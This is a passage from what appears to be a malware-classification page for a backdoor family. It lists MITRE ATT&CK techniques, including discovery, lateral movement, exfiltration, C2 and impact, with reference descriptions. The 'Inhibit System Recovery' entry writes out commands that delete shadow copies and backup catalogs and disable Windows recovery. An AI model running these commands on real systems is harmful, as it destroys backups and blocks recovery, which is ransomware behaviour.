Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.

T1120

Peripheral Device Discovery

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

T1135

Network Share Discovery

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) Net can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.

T1217

Browser Information Discovery

Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

T1497.001

System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

T1497.002

User Activity Based Checks

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

T1497.003

Time Based Evasion

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

T1518

Software Discovery

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

T1518.001

Security Software Discovery

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

T1622

Debugger Evasion

Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.

T1652

Device Driver Discovery

Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. Security Software Discovery) or other defenses (e.g., Virtualization/Sandbox Evasion), as well as potential exploitable vulnerabilities (e.g., Exploitation for Privilege Escalation).

Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., System Service Discovery) may also be available in the Registry.(Citation: Microsoft Registry Drivers)

On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)

T1021

Remote Services

Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

T1021.002

Remote Services: SMB/Windows Admin Shares

Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.(Citation: Microsoft Admin Shares)

T1021.003

Remote Services: Distributed Component Object Model

Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)

Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation. (Citation: MSDN WMI)

T1021.005

VNC

Adversaries may use Valid Accounts to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.

T1091

Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

T1005

Data from Local System

Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.

Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use Automated Collection on the local system.

T1039

Data from Network Shared Drive

Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.

T1113

Screen Capture

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)

T1115

Clipboard Data

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

T1119

Automated Collection

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.

T1185

Browser Session Hijacking

Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)

A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.

Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)

T1560.001

Archive via Utility

Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.

T1048

Exfiltration Over Alternative Protocol

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)

Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.

T1567

Exfiltration Over Web Service

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

T1071

Application Layer Protocol

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.

T1071.001

Web Protocols

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

T1090

Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

T1095

Non-Application Layer Protocol

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

T1102

Web Service

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

T1102.002

Web Service: Bidirectional Communication

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

T1105

Ingress Tool Transfer

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).

T1568

Dynamic Resolution

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

T1571

Non-Standard Port

Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

T1572

Protocol Tunneling

Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)

Protocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)

Adversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol Impersonation to further conceal C2 communications and infrastructure.

T1055

Process Injection

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

T1486

Data Encrypted for Impact

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)

In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").(Citation: NHS Digital Egregor Nov 2020)

In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)

T1489

Service Stop

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.

T1490

Inhibit System Recovery

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
* Windows Management Instrumentation can be used to delete volume shadow copies - wmic shadowcopy delete
* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system

On network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)

T1491.001

Internal Defacement

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper. Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.

T1496

Resource Hijacking

Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.

T1499.004

Endpoint Denial of Service: Application or System Exploitation

Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.

Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as Data Destruction, Firmware Corruption, Service Stop etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.

T1529

System Shutdown/Reboot

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. reload). They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.

T1657

Financial Theft

Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware, business email compromise (BEC) and fraud, "pig butchering," bank hacking, and exploiting cryptocurrency networks.

HEUR:Backdoor.MSIL.Crysan.gen

Clase: Backdoor

Plataforma: MSIL

Familia: Backdoor.MSIL.Crysan

Examples

Tactics and Techniques: Mitre*